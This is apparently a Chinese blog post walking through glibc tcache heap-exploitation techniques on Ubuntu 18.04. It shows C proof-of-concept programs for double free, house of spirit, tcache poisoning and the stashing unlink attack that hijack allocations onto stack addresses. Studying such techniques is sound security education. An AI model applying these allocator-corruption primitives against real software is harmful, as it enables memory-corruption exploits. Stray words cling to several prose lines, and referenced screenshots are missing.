ubuntu 18.04 下測試web
tcache介紹
源碼看不動,說一下經過實驗獲得的:ubuntu
同一大小的 chunk free 以後前 7 個會放到一個 tcache 鏈表裏面,不一樣大小的放在不一樣的鏈表中數組
最大能放 0x408 的,再大就要按照本來的那樣放到 unsortedbin 中了微信
程序再次申請內存塊的時候首先判斷在 tchche 中是否存在,若是存在的話會先從 tcache 中拿編輯器
tcache_dup
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "先申請一塊內存\n");
int *a = malloc(8);
fprintf(stderr, "申請的內存地址是: %p\n", a);
fprintf(stderr, "對這塊內存地址 free兩次\n");
free(a);
free(a);
fprintf(stderr, "這時候鏈表是這樣的 [ %p, %p ].\n", a, a);
fprintf(stderr, "接下來再去 malloc 兩次: [ %p, %p ].\n", malloc(8), malloc(8));
fprintf(stderr, "ojbk\n");
return 0;
}
gcc -g tcache_dup.c
測試
運行以後的結果:url
一開始申請了 0x8 大小的 chunk,後來 free了兩次spa
而後再去申請的話也會申請這倆在 tcache 中的,因此後面輸出的 malloc 的地址仍是同樣的.net
tcache_house_of_spirit
#include <stdio.h>
#include <stdlib.h>
int main()
{
malloc(1);
unsigned long long *a;
unsigned long long fake_chunks[10];
fprintf(stderr, "fake_chunks[1] 在 %p\n", &fake_chunks[1]);
fprintf(stderr, "fake_chunks[1] 改爲 0x40 \n");
fake_chunks[1] = 0x40;
fprintf(stderr, "把 fake_chunks[2] 的地址賦給 a, %p.\n", &fake_chunks[2]);
a = &fake_chunks[2];
fprintf(stderr, "free 掉 a\n");
free(a);
fprintf(stderr, "再去 malloc(0x30),在能夠看到申請來的結果在: %p\n", malloc(0x30));
fprintf(stderr, "ojbk\n");
}
而後把數組的 index2 的地址賦給了 a,以後去 free a,再去申請回來的話就會把 a 申請回來,這樣就申請了 fake chunks[2] 那裏3d
tcache_poisoning
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
size_t stack_var;
printf("定義了一個變量 stack_var,咱們想讓程序 malloc 到這裏 %p.\n", (char *)&stack_var);
printf("接下來申請兩個 chunk\n");
intptr_t *a = malloc(128);
printf("chunk a 在: %p\n", a);
intptr_t *b = malloc(128);
printf("chunk b 在: %p\n", b);
printf("free 掉這兩個 chunk\n");
free(a);
free(b);
printf("如今 tcache 那個鏈表是這樣的 [ %p -> %p ].\n", b, a);
printf("咱們把 %p 的前 %lu 字節(也就是 fd/next 指針)改爲 stack_var 的地址:%p", b, sizeof(intptr_t), &stack_var);
b[0] = (intptr_t)&stack_var;
printf("如今 tcache 鏈表是這樣的 [ %p -> %p ].\n", b, &stack_var);
printf("而後一次 malloc : %p\n", malloc(128));
printf("如今 tcache 鏈表是這樣的 [ %p ].\n", &stack_var);
intptr_t *c = malloc(128);
printf("第二次 malloc: %p\n", c);
printf("ojbk\n");
return 0;
}
把 b 的 fd 指針改爲那個變量地址
這時候 tcache 的鏈表是這樣的
而後連續申請兩個 chunk,來看一下申請到的地址是啥樣的
tcache_stashing_unlink_attack
#include <stdio.h>
#include <stdlib.h>
int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;
unsigned long *pp;
fprintf(stderr, "stack_var 是咱們但願分配到的地址,咱們首先把 &stack_var[2] 寫到 stack_var[3] 來繞過 glibc 的 bck->fd=bin(即 fake chunk->bk 應該是一個可寫的地址)\n");
stack_var[3] = (unsigned long)(&stack_var[2]);
fprintf(stderr, "修改以後 fake_chunk->bk 是:%p\n",(void*)stack_var[3]);
fprintf(stderr, "stack_var[4] 的初始值是:%p\n",(void*)stack_var[4]);
fprintf(stderr, "如今申請 9 個 0x90 的 chunk\n");
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}
fprintf(stderr, "先釋放 6 個,這 6 個都會放到 tcache 裏面\n");
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}
fprintf(stderr, "接下來的釋放的三個裏面第一個是最後一個放到 tcache 裏面的,後面的都會放到 unsortedbin 中\n");
free(chunk_lis[1]);
//接下來的就是放到 unsortedbin 了
free(chunk_lis[0]);
free(chunk_lis[2]);
fprintf(stderr, "接下來申請一個大於 0x90 的 chunk,chunk0 和 chunk2 都會被整理到 smallbin 中\n");
malloc(0xa0);//>0x90
fprintf(stderr, "而後再去從 tcache 中申請兩個 0x90 大小的 chunk\n");
malloc(0x90);
malloc(0x90);
fprintf(stderr, "假設有個漏洞,能夠把 victim->bk 的指針改寫成 fake_chunk 的地址: %p\n",(void*)stack_var);
chunk_lis[2][1] = (unsigned long)stack_var;
fprintf(stderr, "如今 calloc 申請一個 0x90 大小的 chunk,他會把一個 smallbin 裏的 chunk0 返回給咱們,另外一個 smallbin 的 chunk2 將會與 tcache 相連.\n");
pp = calloc(1,0x90);
fprintf(stderr, "這時候咱們的 fake_chunk 已經放到了 tcache bin[0xa0] 這個鏈表中,它的 fd 指針如今指向下一個空閒的塊: %p, bck->fd 已經變成了 libc 的地址: %p\n",(void*)stack_var[2],(void*)stack_var[4]);
target = malloc(0x90);
fprintf(stderr, "再次 malloc 0x90 能夠看到申請到了 fake_chunk: %p\n",(void*)target);
fprintf(stderr, "ojbk\n");
return 0;
}
是 chunk0,0x555555757390 是 chunk2
這時候去申請一個 0xa0 大小的 chunk,那倆在 unsorted bin 中的 chunk 整理放在了 small bin 中
再去申請兩個 0x90 大小的會從 tcache bin 中分配,這時候 tcache 還剩 5 個
而後把 chunk2 的 bk 改爲 &stack_var,在一開始是這樣的
改後:
另外此時的 bins
使用 calloc 去申請 0x90 大小的 chunk 會把 0x555555757250 申請出去,這時候若是 tcachebin 還有空閒的位置,剩下的 smallbin 從最後一個 0x7fffffffddc0 開始順着 bk 連接到 tcachebin 中
參考:
https://dayjun.top/2020/02/07/smallbin在unlink的時候存在的漏洞/
tcache 是後進先出的,因此這時候再去申請就拿到了 0x7fffffffddc0 這個地址的 chunk
本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。